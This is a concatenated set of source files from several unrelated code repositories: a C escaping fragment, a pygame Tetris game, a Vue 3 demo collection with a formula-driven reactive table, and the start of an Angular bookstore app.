CASE('\f', 'f')
CASE('\n', 'n')
CASE('\r', 'r')
CASE('\t', 't')
default: {
const unsigned char uch = ch;
if (uch <= 31 || uch == 0x7f) {
putc_unlocked('\\', stream);
putc_unlocked('u', stream);
putc_unlocked('0', stream);
putc_unlocked('0', stream);
putc_unlocked("0123456789abcdef"[uch >> 4], stream);
putc_unlocked("0123456789abcdef"[uch & 0xf], stream);
} else {
putc_unlocked(ch, stream);
}
}
}
}
}
| 540903945b1947de5994ad92b34edbe26bc51d07 | [
"Markdown",
"Makefile",
"C++",
"Shell"
] | 7 | Shell | again1943/code-index | c3ac9c802353a6b4c56f19c3ad351d5477922585 | cb60cda4af50faeea65ce807906e71e28f26a799 |
refs/heads/master | <file_sep>import time as t
import random as r
import subprocess
def install(pack):
subprocess.call(f'pip install {pack}')
try:
import numpy as np
except:
install('numpy')
import numpy as np
try:
import pygame as pg
except:
install('pygame')
import pygame as pg
class filler:
def __init__(self):
self.owner = 0
self.y = 1
def draw(self):
pass
def get(self):
return 0
class part:
def __init__(self, x, y, color, owner):
self.color = color
x %= 10
self.x = x
self.y = y
self.owner = owner
self.qu = ''
global arr
arr[y, x] = self
def move(self, mod1, mod2):
global arr
arr[self.y, self.x] = filler()
self.x += mod1
self.y += mod2
self.qu += f'arr[{self.y}, {self.x}] = self\n'
def clear(self):
exec(self.qu)
self.qu = ''
def get(self):
return self.owner
def draw(self):
global res
pg.draw.rect(scr, self.color, (self.x * res, self.y * res, res, res))
def check(self):
global arr
if not 0 <= self.y < 19:
return 1
return arr[self.y + 1, self.x].owner
def check_free(self, mod1, mod2):
a = self.x + mod1
b = self.y + mod2
if 0 <= b < 20 and 0 <= a < 10:
global arr
return arr[b, a].get()
return 1
def delete(self):
global arr
arr[self.y, self.x] = filler()
del self
class figure:
def __init__(self, x, y, mods, color):
self.x = x
self.y = y
self.mods = mods
self.parts = []
self.color = color
def start(self):
for i in self.mods:
self.parts.append(part(self.x + i[0], self.y + i[1], self.color, 0))
def fall(self):
ans = 0
for i in self.parts:
ans += i.check()
if ans == 0:
self.y += 1
for i in self.parts:
i.move(0, 1)
for i in self.parts:
i.clear()
else:
self.stop()
def move(self, mod1, mod2):
ans = 0
for i in self.parts:
ans += i.check_free(mod1, mod2)
if ans == 0:
self.x += mod1
self.y += mod2
for i in self.parts:
i.move(mod1, mod2)
for i in self.parts:
i.clear()
def rotate(self, right):
ans = 0
global rot, rot1
if right:
d = rot
else:
d = rot1
for i in range(4):
ans += self.parts[i].check_free(*d[self.mods[i]])
if ans == 0:
for i in self.parts:
i.delete()
for i in range(4):
self.mods[i] = d[self.mods[i]]
del self.parts[:]
for i in range(4):
self.parts.append(part(self.x + self.mods[i][0], self.y + self.mods[i][1], self.color, 0))
def stop(self):
global cur
generate()
mn = 19
for i in self.parts:
i.owner = 1
mn = min(i.y, mn)
if mn <= 2:
death()
del self
def prerender(self):
global res
for i in self.mods:
pg.draw.rect(scr, self.color, (res * (12 + i[0]), (4 + i[1]) * res, res, res))
class f1(figure):
def __init__(self):
super().__init__(4, 0, [(-1, 0), (0, 0), (1, 0), (2, 0)], (255, 255, 255))
class f2(figure):
def __init__(self):
super().__init__(4, 1, [(0, -1), (0, 0), (0, 1), (1, 1)], (100, 100, 255))
class f3(figure):
def __init__(self):
super().__init__(4, 1, [(0, -1), (0, 0), (0, 1), (1, -1)], (255, 100, 100))
class f4(figure):
def __init__(self):
super().__init__(4, 1, [(1, 0), (0, 0), (1, 1), (0, 1)], (100, 255, 100))
class f5(figure):
def __init__(self):
super().__init__(4, 1, [(0, -1), (0, 0), (1, 0), (1, 1)], (255, 200, 200))
class funny(figure):
def __init__(self):
super().__init__(4, 1, [(-1, 0), (0, 0), (1, 0), (0, -1)], (155, 255, 255))
class f6(figure):
def __init__(self):
super().__init__(4, 1, [(-1, 0), (0, 0), (1, 0), (0, 1)], (155, 255, 255))
class f7(figure):
def __init__(self):
super().__init__(4, 1, [(0, -1), (0, 0), (-1, 0), (-1, 1)], (200, 255, 200))
class sqr:
def __init__(self, x, y, a, color):
self.x = x
self.y = y
self.a = a
self.color = color
def draw(self, mod1, mod2):
pg.draw.rect(scr, self.color, (self.x * self.a + mod1, self.y * self.a + mod2, self.a, self.a))
class digit:
def __init__(self, x, y, a, color, mods):
self.elems = []
self.x = x
self.y = y
self.a = a
for mod in mods:
self.elems.append(sqr(*mod, a, color))
def draw(self):
for i in self.elems:
i.draw(self.x + 4 * self.a, self.y)
class _1(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(1, 0), (1, 1), (1, 2), (1, 3), (1, 4)])
class _2(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (1, 0), (2, 0), (2, 1), (2, 2),
(1, 2), (0, 2), (0, 3), (2, 4), (1, 4), (0, 4)])
class _3(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (1, 0), (2, 0), (2, 1), (2, 2),
(0, 2), (1, 2), (2, 3), (2, 4), (0, 4), (1, 4), (2, 4)])
class _4(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (2, 0), (0, 1), (2, 1), (0, 2),
(2, 2), (1, 2), (2, 3), (2, 4)])
class _5(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (1, 0), (2, 0), (0, 1), (0, 2),
(1, 2), (2, 2), (2, 3), (2, 4), (1, 4), (0, 4)])
class _6(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (1, 0), (2, 0), (0, 1), (0, 2),
(0, 3), (0, 4), (1, 2), (1, 4), (2, 2), (2, 3), (2, 4)])
class _7(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (1, 0), (2, 0), (2, 1), (2, 2),
(1, 3), (1, 4)])
class _8(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (0, 1), (0, 2), (0, 3), (0, 4),
(2, 0), (2, 1), (2, 2), (2, 3), (2, 4), (1, 0), (1, 2), (1, 4)])
class _9(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (0, 1), (0, 2), (0, 4), (2, 0),
(2, 1), (2, 2), (2, 3), (2, 4), (1, 0), (1, 2), (1, 4)])
class _0(digit):
def __init__(self, x, y, a, color=(255, 255, 255)):
super().__init__(x, y, a, color, [(0, 0), (0, 1), (0, 2), (0, 3), (0, 4),
(2, 0), (2, 1), (2, 2), (2, 3), (2, 4), (1, 0), (1, 4)])
class number:
def __init__(self, num, mod1=0, mod2=0):
global digit_conv, res
num = str(num)
self.nums = []
n = len(num)
a = int(5 * res / (5 * 6))
for i in range(len(num)):
self.nums.append(digit_conv[num[i]](10 * res + 4 * a * i + mod1, res * 7 + mod2, a))
def get():
global hist
try:
a = int(next(hist))
except Exception as e:
global cur
d = [*range(1, 8)]
d.remove(int(str(type(cur))[-3]))
a = r.choice(d)
global add
add += str(a)
return a
def generate():
global cur, last, prer, without_stick
cur = prer
cur.start()
last += 0.1
if without_stick >= 17:
prer = f1()
without_stick = 0
else:
d = {1: f1, 2: f2, 3: f3, 4: f4, 5: f5, 6: f6, 7: f7}
prer = d[get()]()
if type(prer) == f1:
without_stick = 0
else:
without_stick += 1
def death():
global cond
cond = False
rot1 = {(-2, 0): (0, 2), (-1, -1): (-1, 1), (-1, 0): (0, 1),
(-1, 1): (1, 1), (0, -2): (-2, 0), (0, -1): (-1, 0),
(0, 0): (0, 0), (0, 1): (1, 0), (0, 2): (2, 0), (1, -1): (-1, -1),
(1, 0): (0, -1), (1, 1): (1, -1), (2, 0): (0, -2)}
rot = {(0, 2): (-2, 0), (-1, 1): (-1, -1), (0, 1): (-1, 0), (1, 1): (-1, 1),
(-2, 0): (0, -2), (-1, 0): (0, -1), (0, 0): (0, 0), (1, 0): (0, 1),
(2, 0): (0, 2), (-1, -1): (1, -1), (0, -1): (1, 0), (1, -1): (1, 1),
(0, -2): (2, 0)}
digit_conv = {'0': _0, '1': _1, '2': _2, '3': _3, '4': _4, '5': _5,
'6': _6, '7': _7, '8': _8, '9': _9}
mode = False
script = '1.txt'
if mode:
with open(script, 'r') as file:
hist = file.read().__iter__()
else:
hist = ''.__iter__()
add = ''
res = 30
w, h = 10 * res, 20 * res
scr = pg.display.set_mode((w + 5 * res, h))
timer = pg.time.Clock()
arr = np.array([[filler() for i in range(10)] for i in range(20)])
cond = True
without_stick = 0
prer = r.choice([f1(), f2(), f3(), f4(), f5(), f6(), f7()])
cur = r.choice([f1(), f2(), f3(), f4(), f5(), f6(), f7()])
last = t.time()
generate()
last = t.time()
qu = ''
score = 0
counter = 0
timing = 0.1
converter = {0: 0, 1: 1200, 2: 1800, 3: 2500, 4: 3600}
pressed = {}
print("(you're able to check results in tetris_results.txt)")
username = 'coftochka' # input("Your nickname: ")
while cond:
i = 19
lpf = 0
numb = number(score)
ws = number(without_stick, mod2=100)
while i > 0:
s = 0
for j in range(10):
s += arr[i, j].owner
if s == 10:
for j in range(10):
arr[i, j].delete()
for A in range(i):
I = i - A
for j in range(10):
arr[I, j] = arr[I - 1, j]
arr[I, j].y += 1
lpf += 1
arr[0, :].fill(filler())
else:
i -= 1
if lpf != 0:
timing = max(timing - 0.005, 0.05)
score += converter[lpf]
for event in pg.event.get():
if event.type == pg.QUIT:
cond = False
continue
elif event.type == pg.KEYDOWN:
if event.key == pg.K_k:
cur.rotate(True)
elif event.key == pg.K_l:
pass
cur.rotate(False)
elif event.key == pg.K_a:
cur.move(-1, 0)
pressed['a'] = last
elif event.key == pg.K_d:
cur.move(1, 0)
pressed['d'] = last
elif event.key == pg.K_s:
cur.fall()
pressed['s'] = last
elif event.type == pg.KEYUP:
if event.key == pg.K_a:
if 'a' in pressed:
del pressed['a']
elif event.key == pg.K_d:
if 'd' in pressed:
del pressed['d']
elif event.key == pg.K_s:
if 's' in pressed:
del pressed['s']
tm = t.time()
counter += tm - last
last = t.time()
if counter > timing:
cur.fall()
counter = 0
for key, val in pressed.items():
if last - val >= 0.1:
if key == 'a':
cur.move(-1, 0)
elif key == 'd':
cur.move(1, 0)
else:
cur.fall()
pressed[key] = last
exec(qu)
qu = ''
cl = (70, 70, 70)
for i in range(11):
pg.draw.line(scr, cl, (i * res, 0), (i * res, res * 20))
for j in range(21):
pg.draw.line(scr, cl, (0, j * res), (10 * res, j * res))
for elem in numb.nums:
elem.draw()
for elem in ws.nums:
elem.draw()
for i in range(20):
for j in range(10):
arr[i, j].draw()
prer.prerender()
pg.draw.line(scr, (200, 225, 255), (w + 2, h), (w + 2, 0), 4)
pg.display.flip()
timer.tick(60)
scr.fill((60, 60, 60))
with open('Tetris results.txt', 'a') as file:
file.write(f'{username} : {score}\n')
if mode:
with open(script, 'a') as file:
file.write(add)
pg.quit()
print(score) | cad58f8090082aed598689609cf268a91304f7da | [
"Python"
] | 1 | Python | Ddmitriy0102/Tetric_project | ebffa5f376eefca6a40576b6afc5bff2525545f0 | 214d3b3d10a215d1af00c55bb6159d99a5a181c3 |
refs/heads/master | <file_sep>/** ════════════════════════🏳🌈 实用功能 🏳🌈════════════════════════
* 利用 composition-api 实现的一些实用功能
** ════════════════════════🚧 实用功能 🚧════════════════════════ */
import {
customRef,
nextTick,
watch,
watchEffect,
WatchSource
} from "vue";
class PromiseObj<T, Err = Error> {
pending = true;
fulfilled = false;
rejected = false;
data = {} as T;
error = {} as Err;
private p = Promise.resolve() as Promise<unknown>;
setP(p: Promise<unknown>) {
this.p = p;
}
equalP(p: Promise<unknown>) {
return this.p === p;
}
}
interface usePromiseComputedOptions<T> {
/** 函数内的依赖变更的时候就重新计算,在里面包含请求的时候最好指定依赖,因为请求会改变 packet_token,而它属于响应式数据会被依赖 */
deps?: WatchSource<any>;
getter: () => Promise<T>;
/** 处理数据是否要和之前的数据进行合并 */
dataMergeFun?: (oldData: T, newData: T) => T;
/** data 的默认值 */
defaultData?: T;
}
export function usePromiseComputed<T, Err = Error>({
deps,
getter,
dataMergeFun = (oldData, newData) => newData,
defaultData,
}: usePromiseComputedOptions<T>){
const r = new PromiseObj<T, Err>();
if (defaultData !== undefined) {
r.data = defaultData;
}
return customRef<PromiseObj<T, Err>>((track, trigger) => {
if (!deps) {
watchEffect(() => update(getter()));
} else if (deps) {
watch(deps, () => update(getter()), { immediate: true });
}
function update(p: Promise<T>) {
r.setP(p);
r.pending = true;
r.fulfilled = false;
r.rejected = false;
// 立即触发会导致死循环,所以包裹一层
nextTick(trigger);
p.then((res) => {
// 避免 「求值fun」 第一次执行产生的 promise 比 第二次产生的后结束 导致 数据错误的采用了第一次的
if (r.equalP(p)) {
r.pending = false;
r.fulfilled = true;
r.data = dataMergeFun(r.data, res);
}
})
.catch((e) => {
if (r.equalP(p)) {
r.pending = false;
r.rejected = true;
r.error = e;
}
})
.finally(() => {
if (r.equalP(p)) {
trigger();
}
});
}
return {
get() {
track();
return r;
},
set(newValue) {
console.warn("不可设置值");
},
};
});
}
/** 防抖的 ref */
export function useDebouncedRef<T>(value: T, delay = 200) {
let timeout = 0;
return customRef<T>((track, trigger) => {
return {
get() {
track();
return value;
},
set(newValue) {
clearTimeout(timeout);
timeout = (setTimeout(() => {
value = newValue;
trigger();
}, delay) as unknown) as number;
},
};
});
}<file_sep>import Vditor from "vditor";
import "vditor/dist/index.css";
import { defineComponent, onDeactivated, onUnmounted } from "vue";
export default defineComponent({
setup(props, ctx) {
function vditorDiv(el: HTMLElement) {
if (el === null) {
return;
}
const editor = new Vditor(el, {
height: 600,
toolbarConfig: {
pin: true,
},
cache: {
enable: false,
},
after: () => {
editor.setValue("hello, Vditor + Vue!");
},
});
return editor;
}
return { vditorDiv };
},
});
<file_sep>import { defineConfig } from "vite";
import vue from "@vitejs/plugin-vue";
import vueJsx from "@vitejs/plugin-vue-jsx";
// https://github.com/vitejs/vite/issues/1927#issuecomment-805803918
const prefix = `monaco-editor/esm/vs`;
export default defineConfig({
plugins: [vue(), vueJsx({})],
base: "./",
build: {
assetsDir: "assets",
sourcemap: true,
rollupOptions: {
output: {
// https://github.com/vitejs/vite/issues/1927#issuecomment-805803918
manualChunks: {
jsonWorker: [`${prefix}/language/json/json.worker`],
cssWorker: [`${prefix}/language/css/css.worker`],
htmlWorker: [`${prefix}/language/html/html.worker`],
tsWorker: [`${prefix}/language/typescript/ts.worker`],
editorWorker: [`${prefix}/editor/editor.worker`],
},
},
},
},
esbuild: {
jsxFactory: "h",
jsxFragment: "Fragment",
},
optimizeDeps: {
include: [
`${prefix}/language/json/json.worker`,
`${prefix}/language/css/css.worker`,
`${prefix}/language/html/html.worker`,
`${prefix}/language/typescript/ts.worker`,
`${prefix}/editor/editor.worker`,
],
},
});
<file_sep>import { defineComponent, ref, reactive, watchEffect, computed } from "vue";
import { usePromiseComputed } from "../promise-loading/lib/vue.composition.api";
export default defineComponent({
setup(props, ctx) {
const position = usePromiseComputed({
getter: () => getCurrentPosition(),
});
const 高德URL = computed(() => {
const coords = position.value.data?.[0]?.coords;
return `https://uri.amap.com/marker?position=${coords?.longitude},${coords?.latitude}`;
});
return { position, 高德URL };
},
});
function getCurrentPosition() {
return new Promise<
[GeolocationPosition, undefined] | [undefined, GeolocationPositionError]
>((resolve, reject) => {
navigator.geolocation.getCurrentPosition(
function (position) {
resolve([position, undefined]);
},
function (e) {
resolve([undefined, e]);
},
);
});
}
<file_sep>export const componentsList = {
"higher-order": {
getter: () => import("../higher-order/higher-order.tsx"),
des: "vue 高阶组件",
},
vditor: {
getter: () => import("../vditor/index.vue"),
des: "vditor 编辑器",
},
location: {
getter: () => import("../location/index.vue"),
des: "获取并显示当前位置",
},
"reactive-table": {
getter: () => import("../reactive-table/index.vue"),
des:
"一个像 excel 那样可以使用公式,改变了单元格的值 具有公式的单元格 的值会跟着一起变的表格实现",
},
"promise-loading": {
getter: () => import("../promise-loading/promise-loading.vue"),
des: "使用 vue composition-api 来实现 异步数据加载时的 loading 显示等",
},
undefined: {
getter: () => import("./undefined.vue"),
des: "用来处理未定义组件的显示",
},
b: {
getter: () => import("./a.vue"),
des: "动态组件引入测试 a",
},
a: {
getter: () => import("./b.vue"),
des: "用来动态组件引入测试 b",
},
};
// 自动加载模块,不用手动在上面添加了
const modules = import.meta.glob("../*/(index|des).{vue,tsx}");
Object.keys(modules)
.filter((path) => path.endsWith("index.vue") || path.endsWith("index.tsx"))
.forEach((path) => {
const name = path.slice(3, -10);
(componentsList as any)[name] = {
getter: modules[path],
des: modules[`../${name}/des.vue`] ?? modules[`../${name}/des.tsx`] ?? "",
};
});
<file_sep>import { computed, ComputedRef, defineComponent, nextTick, reactive, ref, watchEffect } from "vue";
type table = Td[][];
type row_i = number;
type col_i = number;
export default defineComponent({
setup() {
const table = reactive([
[new Td("1"), new Td("sum(select([0,1]))", true), new Td("sum(select([0,0])) + 42", true)],
[new Td("2"), new Td("2"), new Td("2")],
[
new Td("sumFilterNaN(select([0,0],[0,1],[0,2]))", true),
new Td("sum(select([1,0],[1,1],[1,2]))", true),
new Td("sumFilterNaN(select([2,0],[2,1]))", true),
],
]);
/** ═════════🏳🌈 下面这个块内的代码是测试用的 🏳🌈═════════ */
{
function repeatCall(f: Function, i: number) {
if (i > 0) {
f();
repeatCall(f, i - 1);
} else {
}
}
repeatCall(addNewCol, 8);
repeatCall(addNewRow, 8);
/** 斐波那契数列测试 */
table[0].forEach((el, index) => {
if (index === 0) {
} else if (index === 1) {
el.isExp = true;
el.value = `sum(select([0,${index - 1}]))`;
} else {
el.isExp = true;
el.value = `sum(select([0,${index - 1}],[0,${index - 2}]))`;
}
});
// ~~目前是没有优化的,再往后算上一轮就很慢了~~ 使用缓存后,这个速度已经可以接受了
table[1].forEach((el, index) => {
if (index === 0) {
el.isExp = true;
el.value = `sum(select([0,10]))`;
} else if (index === 1) {
el.isExp = true;
el.value = `sum(select([0,10],[1,${index - 1}]))`;
} else {
el.isExp = true;
el.value = `sum(select([1,${index - 1}],[1,${index - 2}]))`;
}
});
// 等比数列测试
table[2].forEach((el, index) => {
if (index === 0) {
} else {
el.isExp = true;
el.value = `sum(select([2,${index - 1}])) * 2`;
}
});
}
function addNewCol() {
table.forEach((row) => row.push(new Td("1")));
}
function addNewRow() {
const row = table[0].map(() => new Td("1"));
table.push(row);
}
const selectTd = ref(new Td(""));
/** 可能是被当前选中的 td 所依赖的块 */
const mayBeAssociatedTd = computed(() => {
if (selectTd.value.isExp) {
return [...selectTd.value.value.matchAll(/\[(\d+),(\d+)\]/g)].map((el) => {
return table[Number(el[1])][Number(el[2])];
});
} else {
return [];
}
});
function select(td: Td) {
selectTd.value = td;
}
const editTd = ref(new Td(""));
const editState = ref({
show: false,
});
function edit(td: Td) {
editTd.value = td;
editState.value.show = true;
}
/** ═════════🏳🌈 debug 日志 🏳🌈═════════ */
const updateLog = ref([] as [string, number][]);
function addLog(p: string, t = performance.now()) {
updateLog.value.push([p, t]);
}
const updateLogView = computed(() => [...updateLog.value].reverse());
addLog(`// ${new Date().toLocaleString()} 程序启动`);
watchEffect(() => {
const length = updateLog.value.length;
nextTick(() => {
if (length === updateLog.value.length && !updateLog.value[length - 1][0].startsWith("//")) {
const startLog_i = updateLogView.value.findIndex((el) => el[0].startsWith("//")) - 1;
const elapsedTime = updateLog.value[length - 1][1] - updateLogView.value[startLog_i][1];
addLog(`// ${new Date().toLocaleString()} 计算完毕,耗时 ${elapsedTime}ms`);
}
});
});
/** ═════════🏳🌈 数据表的实际可视部分 🏳🌈═════════ */
let updateTheOrder = 0;
/** 从原始数据计算出值的新表 */
const computedTable = computed(() =>
table.map((row) =>
row.map((td) => {
// 经尝试,单纯的修改 td 不会创建新的 computed ,但 table 新增元素会导致创建和 td 数量一样多的 computed;
// 优化点:应该保留原有的 computed
console.log("<new computed>");
return computed(() => {
const value = evaluation(td, table);
updateTheOrder += 1;
addLog(`第${updateTheOrder}次计算,[${求坐标(td, table)}] 处的值为<${td.isExp ? "exp" : "raw"} ${value}>`);
return {
value,
/** value 是哪一次计算出来的 */
updateTheOrder,
};
});
}),
),
);
return {
table,
computedTable,
updateLogView,
addNewRow,
addNewCol,
selectTd,
select,
editTd,
editState,
edit,
mayBeAssociatedTd,
};
},
});
class Td {
constructor(
/** 值 */
public value = "",
/** 是否作为函数 */
public isExp = false,
public cache = null,
) {}
}
/** 求值函数,存在递归的问题 */
function evaluation(td: Td, table: table) {
try {
return evaluation1(td, []);
} catch (error) {
return String(error);
}
function evaluation1(td: Td, env: Td[]) {
if (env.includes(td)) {
throw `<发现[${求坐标(td, table)}]处存在循环引用,无法求值>`;
} else {
if (td.isExp) {
if (td.cache === null || env.length === 0) {
const r = inter(td.value);
td.cache = r;
return r;
} else {
return td.cache;
}
} else {
return td.value;
}
}
function inter(exp: string) {
console.log("<inter>");
function select(...position: [row_i, col_i][]): Td[] {
return position.map((el) => table[el[0]][el[1]]);
}
function sum(ls: Td[]): number {
return ls.reduce((a, b) => {
return a + Number(evaluation1(b, [...env, td]));
}, 0);
}
/** 对值为转为数值之后是 nan 的当做不存在 */
function sumFilterNaN(ls: Td[]) {
return ls.reduce((a, b) => {
const r = Number(evaluation1(b, [...env, td]));
if (isNaN(r)) {
return a;
} else {
return a + r;
}
}, 0);
}
return eval(
exp,
//@ts-expect-error 这里用于保证编译后 select 这些函数不被删除掉
[select, sum, sumFilterNaN],
);
}
}
}
function 求坐标(td: Td, table: table): [row_i, col_i] {
const row_i = table.findIndex((el) => el.includes(td));
return [row_i, table[row_i].findIndex((el) => el === td)];
}
<file_sep># 响应式表格 demo
使用 vite vue3 实现的一个像 excel 那样可以使用公式,改变了单元格的值 具有公式的单元格 的值会跟着一起变
[在线预览地址](https://2234839.github.io/vue-demo/?template_name=reactive-table) [codesandbox 在线尝试地址](https://codesandbox.io/s/github/2234839/vue-demo?utm_medium=plugin&file=/index.html)
<file_sep>import { defineComponent, ref, reactive } from "vue";
import MonacoEditor from './editor.vue';
export default defineComponent({
setup(props, ctx) {
return {};
},
components:{
MonacoEditor
}
});
<file_sep>import { defineComponent, ref } from "vue";
import { usePromiseComputed } from "./lib/vue.composition.api";
export default defineComponent({
setup(props, ctx) {
const searchText = ref("");
const searchResults = usePromiseComputed({
defaultData: [] as string[],
getter() {
return searchApi(searchText.value);
},
});
return { searchText, searchResults };
},
});
function searchApi(searchText: string) {
return new Promise<string[]>((s, j) => {
setTimeout(() => {
if (Math.random() < 0.5) {
s([`[查询成功] : 搜索的字符串 「${searchText}」`]);
} else {
j([`[查询失败] : 搜索的字符串 「${searchText}」`]);
}
}, 1000);
});
}
<file_sep>//@ts-ignore
import * as worker from "monaco-editor/esm/vs/editor/editor.worker.js";
//@ts-ignore 这里引用我修改后的 monaco-json 项目,它将 ts 文件暴露出来了,使得 monaco-json 依赖 vscode-nls
import { ICreateData, JSONWorker } from "monaco-json/src/jsonWorker";
// 修改了 vscode-nls 新增 preproccess 对象,可以进行一些本地化的替换工作
import { format, preproccess } from "vscode-nls/src/common/common";
const tranMap = {
TrailingComma: `数组尾随逗号`,
PropertyExpected: "这里似乎缺少一个值",
patternWarning: `字符串不符合正则 "{0}" 的模式。`,
minLengthWarning: `字符串长度小于最小长度 {0}`,
maxLengthWarning: `字符串长度大于最大长度 {0}`,
uniqueItemsWarning: `Array有重复的项目`,
} as { [key: string]: string };
if (preproccess.localize === undefined) {
preproccess.localize = (_key, message, args) => {
if (typeof _key === "string" && tranMap[_key]) {
message = tranMap[_key];
} else {
console.log("[未翻译的]", `"${_key}": \`${message}\`,`);
}
return format(message, args);
};
}
console.log("TEST");
class Worker extends JSONWorker {
constructor(ctx: any, createData: ICreateData) {
super(ctx, createData);
}
async doValidation(...args: any) {
const v = await (super.doValidation as Function).apply(this, args);
return v;
}
}
self.onmessage = function () {
//@ts-ignore ignore the first message
worker.initialize(function (ctx, createData) {
return new Worker(ctx, createData);
});
};
<file_sep>import { computed, reactive, watchEffect } from "vue";
import ComponentsList from "./components/async-loade-test/components-list.vue";
export default {
name: "App",
setup() {
const [AppOptions, href] = useParamsObj(
undefined,
{} as { template_name?: string },
);
watchEffect(() => {
history.pushState("", "", href.value);
});
const templateName = computed({
get: () => {
return AppOptions.template_name;
},
set: (v) => {
AppOptions.template_name = v;
},
});
return { templateName };
},
components: {
ComponentsList,
},
};
/** 返回一个 params 对象与 href 字符串computed,href 依赖于 params */
function useParamsObj<T extends object>(
urlStr = document.location.toString(),
defaultParams: T,
) {
const url = new URL(urlStr);
const searchParams = url.searchParams;
const params = reactive(defaultParams);
searchParams.forEach((v, k) => {
try {
(params as any)[k] = atob(v);
} catch (error) {
// 兼容直接输入的情况
(params as any)[k] = v;
}
});
const href = computed(() => {
Object.keys(params).forEach((k) => {
const v = btoa((params as any)[k] || "");
searchParams.set(k, v);
});
return url.href;
});
return [params, href] as const;
}
| 58cf7657126500a3787a93f0f3a70da97e7d4469 | [
"Markdown",
"TypeScript"
] | 11 | TypeScript | 2234839/vue-demo | 01c1d3973c7cafd5a91c722c66da9983c6a685b7 | 41391b0d0dcdd2840b567e9e9fc5b00b75af36e2 |
refs/heads/master | <file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from public import public
import runcmd
@public
def get(path=None):
if not path:
path = os.getcwd()
cmd = ["git", "status", "-s"]
r = runcmd.run(cmd, cwd=path)._raise()
return r.out
@public
class Status:
path = None
out = None
def __init__(self, path=None):
if not path:
path = os.getcwd()
self.path = path
self.out = get(path)
def startswith(self, string):
lines = []
for line in self.out.splitlines():
if line.find(string) == 0:
lines.append(" ".join(line.split(" ")[2:]))
return lines
@property
def D(self):
return self.startswith(" D")
@property
def d(self):
return self.D
@property
def M(self):
return self.startswith(" M")
@property
def m(self):
return self.M
@property
def R(self):
return self.startswith(" R")
@property
def r(self):
return self.R
@property
def A(self):
return self.startswith(" A")
@property
def a(self):
return self.A
@property
def untracked(self): # ?? path/to/file
return self.startswith(" ??")
<file_sep>[](https://pypi.org/pypi/git-status/)
[](https://pypi.org/pypi/git-status/)
[](https://travis-ci.org/looking-for-a-job/git-status.py/)
### Install
```bash
$ [sudo] pip install git-status
```
### Examples
`git status -s` output
```python
>>> import git_status
>>> git_status.get(".")
M path/to/modified
A path/to/added
D path/to/deleted
R path/to/renamed
?? path/to/untracked
```
`Status` class
```python
>>> status = git_status.Status(".")
>>> status.A
['path/to/added']
>>> status.M
['path/to/modified']
>>> status.D
['path/to/deleted']
>>> status.R
['path/to/renamed']
>>> status.untracked
['path/to/untracked']
```
### Sources
+ [`git_status.Status`](https://github.com/looking-for-a-job/git-status.py/blob/master/git_status/__init__.py)
+ [`git_status.get(path=None)`](https://github.com/looking-for-a-job/git-status.py/blob/master/git_status/__init__.py) | eb3d48aef0f3c65f0eebad8ee61d8f3151784228 | [
"Markdown",
"Python"
] | 2 | Python | looking-for-a-job/git-status.py | 413a71ee98bafbe10a6a181f7b09a27b376c04e6 | 9abbde7aa7413a1f6c92ae97b318b7b411d99f30 |
refs/heads/main | <repo_name>pranaymudhiraj/Book-Store-Application<file_sep>/src/app/home/home.component.ts
import { Component, OnInit } from '@angular/core';
import { waitForAsync } from '@angular/core/testing';
import { Book } from '../models/book-model';
import { Cart } from '../models/cart-model';
import { BookService } from '../services/book.service';
import { CartService } from '../services/cart.service';
@Component({
selector: 'app-home',
templateUrl: './home.component.html',
styleUrls: ['./home.component.css']
})
export class HomeComponent implements OnInit {
constructor(private service: BookService, private cartservice: CartService) { }
listData!: Book[];
trendingData!: Book[];
latestData!: Book[];
cartData!: Cart;
isLoading = false;
async ngOnInit(): Promise<void> {
this.isLoading = true;
await this.sleep(1000);
this.refreshTrendingBookList();
this.refreshLatestBookList();
}
sleep(ms:any) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
refreshTrendingBookList()
{
this.trendingData=[];
this.service.getBookList().subscribe(data => {
this.listData = data;
this.listData.forEach( (value) =>
{
if(value.rating>4)
{
this.trendingData.push(value);
}
});
});
this.isLoading = false;
}
refreshLatestBookList()
{
this.latestData=[];
this.service.getBookList().subscribe(data => {
this.listData = data;
this.latestData = this.listData;
this.latestData=this.latestData.slice(1).slice(-3);
this.isLoading = false;
});
}
addToCart(book: Book)
{
console.log("onClickAddToCart called");
console.log(book);
this.cartData! = {cartBookID:0, cartBookName: '',cartBookImage: '',cartBookPrice: 0, quantity: 1 };
this.cartData.cartBookName = book.bookName;
this.cartData.cartBookImage = book.bookImage;
this.cartData.cartBookPrice = book.price;
this.cartData.quantity = 1;
console.log(this.cartData);
this.cartservice.addCartList(this.cartData).subscribe(res=>
{
alert("Added To Cart");
})
}
}
<file_sep>/src/app/app.component.ts
import { Component } from '@angular/core';
import { Router } from '@angular/router';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'Book Store Application';
constructor(private router:Router){}
onLogout()
{
localStorage.removeItem("userInfo")
}
get isUserLogin()
{
const user=localStorage.getItem("userInfo");
return user && user.length>0;
}
}
<file_sep>/src/app/books/books.component.spec.ts
import { ComponentFixture, TestBed } from '@angular/core/testing';
import { BooksComponent } from './books.component';
import { BookService } from '../services/book.service';
import { CartService } from '../services/cart.service';
import { Book } from '../models/book-model';
import { Observable } from 'rxjs';
import 'rxjs/add/observable/from';
import { HttpClientTestingModule, HttpTestingController } from '@angular/common/http/testing';
describe('BooksComponent', () => {
let component: BooksComponent;
let fixture: ComponentFixture<BooksComponent>;
let service:BookService;
beforeEach(async () => {
await TestBed.configureTestingModule({
imports: [HttpClientTestingModule],
